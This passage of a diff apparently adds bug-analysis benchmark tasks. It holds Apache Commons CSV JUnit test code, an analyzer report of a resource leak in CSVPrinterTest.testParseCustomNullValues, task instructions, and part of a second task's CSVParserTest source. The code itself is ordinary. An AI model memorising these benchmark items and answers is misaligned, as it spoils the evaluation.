+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+
+import org.junit.Test;
+
+/**
+ *
+ *
+ * @version $Id$
+ */
+public class CSVPrinterTest {
+
+    private final String recordSeparator = CSVFormat.DEFAULT.getRecordSeparator();
+
+    private static String printable(final String s) {
+        final StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < s.length(); i++) {
+            final char ch = s.charAt(i);
+            if (ch <= ' ' || ch >= 128) {
+                sb.append("(").append((int) ch).append(")");
+            } else {
+                sb.append(ch);
+            }
+        }
+        return sb.toString();
+    }
+
+    private void doOneRandom(final CSVFormat format) throws Exception {
+        final Random r = new Random();
+
+        final int nLines = r.nextInt(4) + 1;
+        final int nCol = r.nextInt(3) + 1;
+        // nLines=1;nCol=2;
+        final String[][] lines = new String[nLines][];
+        for (int i = 0; i < nLines; i++) {
+            final String[] line = new String[nCol];
+            lines[i] = line;
+            for (int j = 0; j < nCol; j++) {
+                line[j] = randStr();
+            }
+        }
+
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+
+        for (int i = 0; i < nLines; i++) {
+            // for (int j=0; j<lines[i].length; j++) System.out.println("### VALUE=:" + printable(lines[i][j]));
+            printer.printRecord((Object[])lines[i]);
+        }
+
+        printer.flush();
+        printer.close();
+        final String result = sw.toString();
+        // System.out.println("### :" + printable(result));
+
+        final CSVParser parser = CSVParser.parse(result, format);
+        final List<CSVRecord> parseResult = parser.getRecords();
+
+        Utils.compare("Printer output :" + printable(result), lines, parseResult);
+    }
+
+    private void doRandom(final CSVFormat format, final int iter) throws Exception {
+        for (int i = 0; i < iter; i++) {
+            doOneRandom(format);
+        }
+    }
+
+    private String randStr() {
+        final Random r = new Random();
+
+        final int sz = r.nextInt(20);
+        // sz = r.nextInt(3);
+        final char[] buf = new char[sz];
+        for (int i = 0; i < sz; i++) {
+            // stick in special chars with greater frequency
+            char ch;
+            final int what = r.nextInt(20);
+            switch (what) {
+                case 0:
+                    ch = '\r';
+                    break;
+                case 1:
+                    ch = '\n';
+                    break;
+                case 2:
+                    ch = '\t';
+                    break;
+                case 3:
+                    ch = '\f';
+                    break;
+                case 4:
+                    ch = ' ';
+                    break;
+                case 5:
+                    ch = ',';
+                    break;
+                case 6:
+                    ch = '"';
+                    break;
+                case 7:
+                    ch = '\'';
+                    break;
+                case 8:
+                    ch = '\\';
+                    break;
+                default:
+                    ch = (char) r.nextInt(300);
+                    break;
+                // default: ch = 'a'; break;
+            }
+            buf[i] = ch;
+        }
+        return new String(buf);
+    }
+
+    @Test
+    public void testDisabledComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printComment("This is a comment");
+
+        assertEquals("", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new List[] { Arrays.asList("r1c1", "r1c2"), Arrays.asList("r2c1", "r2c2") });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new List[] { Arrays.asList("r1c1", "r1c2"),
+                Arrays.asList("r2c1", "r2c2") }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testExcelPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testJdbcPrinter() throws IOException, ClassNotFoundException, SQLException {
+        final StringWriter sw = new StringWriter();
+        Class.forName("org.h2.Driver");
+        final Connection connection = DriverManager.getConnection("jdbc:h2:mem:my_test;", "sa", "");
+        try {
+            final Statement stmt = connection.createStatement();
+            stmt.execute("CREATE TABLE TEST(ID INT PRIMARY KEY, NAME VARCHAR(255))");
+            stmt.execute("insert into TEST values(1, 'r1')");
+            stmt.execute("insert into TEST values(2, 'r2')");
+            final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+            printer.printRecords(stmt.executeQuery("select ID, NAME from TEST"));
+            assertEquals("1,r1" + recordSeparator + "2,r2" + recordSeparator, sw.toString());
+            printer.close();
+        } finally {
+            connection.close();
+        }
+    }
+
+    @Test
+    public void testMultiLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withCommentStart('#'));
+        printer.printComment("This is a comment\non multiple lines");
+
+        assertEquals("# This is a comment" + recordSeparator + "# on multiple lines" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter3() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a, b", "b ");
+        assertEquals("\"a, b\",\"b \"" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter4() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\"c");
+        assertEquals("a,\"b\"\"c\"" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter5() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\nc");
+        assertEquals("a,\"b\nc\"" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter6() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\r\nc");
+        assertEquals("a,\"b\r\nc\"" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrinter7() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\\c");
+        assertEquals("a,b\\c" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrintNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", null, "b");
+        assertEquals("a,,b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPrintCustomNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withNullString("NULL"));
+        printer.printRecord("a", null, "b");
+        assertEquals("a,NULL,b" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testParseCustomNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVFormat format = CSVFormat.DEFAULT.withNullString("NULL");
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+        printer.printRecord("a", null, "b");
+        printer.close();
+        final String csvString = sw.toString();
+        assertEquals("a,NULL,b" + recordSeparator, csvString);
+        final Iterable<CSVRecord> iterable = format.parse(new StringReader(csvString));
+        final Iterator<CSVRecord> iterator = iterable.iterator();
+        final CSVRecord record = iterator.next();
+        assertEquals("a", record.get(0));
+        assertEquals(null, record.get(1));
+        assertEquals("b", record.get(2));
+        assertFalse(iterator.hasNext());
+    }
+
+    @Test
+    public void testQuoteAll() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuotePolicy(Quote.ALL));
+        printer.printRecord("a", "b\nc", "d");
+        assertEquals("\"a\",\"b\nc\",\"d\"" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testQuoteNonNumeric() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuotePolicy(Quote.NON_NUMERIC));
+        printer.printRecord("a", "b\nc", Integer.valueOf(1));
+        assertEquals("\"a\",\"b\nc\",1" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testRandom() throws Exception {
+        final int iter = 10000;
+        doRandom(CSVFormat.DEFAULT, iter);
+        doRandom(CSVFormat.EXCEL, iter);
+        doRandom(CSVFormat.MYSQL, iter);
+    }
+
+    @Test
+    public void testPlainQuoted() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar('\''));
+        printer.print("abc");
+        assertEquals("abc", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testSingleLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withCommentStart('#'));
+        printer.printComment("This is a comment");
+
+        assertEquals("# This is a comment" + recordSeparator, sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testSingleQuoteQuoted() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar('\''));
+        printer.print("a'b'c");
+        printer.print("xyz");
+        assertEquals("'a''b''c',xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testDelimeterQuoted() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar('\''));
+        printer.print("a,b,c");
+        printer.print("xyz");
+        assertEquals("'a,b,c',xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testDelimeterQuoteNONE() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVFormat format = CSVFormat.DEFAULT.withEscape('!').withQuotePolicy(Quote.NONE);
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+        printer.print("a,b,c");
+        printer.print("xyz");
+        assertEquals("a!,b!,c,xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testEOLQuoted() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar('\''));
+        printer.print("a\rb\nc");
+        printer.print("x\by\fz");
+        assertEquals("'a\rb\nc',x\by\fz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPlainEscaped() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar(null).withEscape('!'));
+        printer.print("abc");
+        printer.print("xyz");
+        assertEquals("abc,xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testDelimiterEscaped() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withEscape('!').withQuoteChar(null));
+        printer.print("a,b,c");
+        printer.print("xyz");
+        assertEquals("a!,b!,c,xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testEOLEscaped() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar(null).withEscape('!'));
+        printer.print("a\rb\nc");
+        printer.print("x\fy\bz");
+        assertEquals("a!rb!nc,x\fy\bz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testPlainPlain() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar(null));
+        printer.print("abc");
+        printer.print("xyz");
+        assertEquals("abc,xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testDelimiterPlain() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar(null));
+        printer.print("a,b,c");
+        printer.print("xyz");
+        assertEquals("a,b,c,xyz", sw.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testEOLPlain() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT.withQuoteChar(null));
+        printer.print("a\rb\nc");
+        printer.print("x\fy\bz");
+        assertEquals("a\rb\nc,x\fy\bz", sw.toString());
+        printer.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVPrinter(new StringWriter(), invalidFormat).close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVPrinterNullAppendableFormat() throws Exception {
+        new CSVPrinter(null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCsvPrinterAppendableNullFormat() throws Exception {
+        new CSVPrinter(new StringWriter(), null);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.CSVParser` acquired by call to `parse(...)` at line 332 is not released after line 338.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVPrinterTest.testParseCustomNullValues()
+
+### Procedure Id:
+org.apache.commons.csv.CSVPrinterTest.testParseCustomNullValues():void.7f49e3a843e16d57bd422b45dafd518a
+
+### File:
+src/test/java/org/apache/commons/csv/CSVPrinterTest.java
+
+### Key:
+CSVPrinterTest.java|testParseCustomNullValues|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+bc4e262aab37cc65086955c9f88a6444
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6510/instruction.md b/inferredbugs-6510/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3140dc4c700054a1f8bed3c0a6ea333eac77e490
--- /dev/null
+++ b/inferredbugs-6510/instruction.md
@@ -0,0 +1,920 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 115
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.io.input.BOMInputStream;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    @Ignore("CSV-107")
+    public void testBOM() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        final CSVParser parser = CSVParser.parse(url, null, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testBOMInputStream() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        Reader reader = new InputStreamReader(new BOMInputStream(url.openStream()), "UTF-8");
+        final CSVParser parser = new CSVParser(reader, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test(expected = NoSuchElementException.class)
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        records.next();
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = CSVParser.parse(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = CSVParser.parse(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
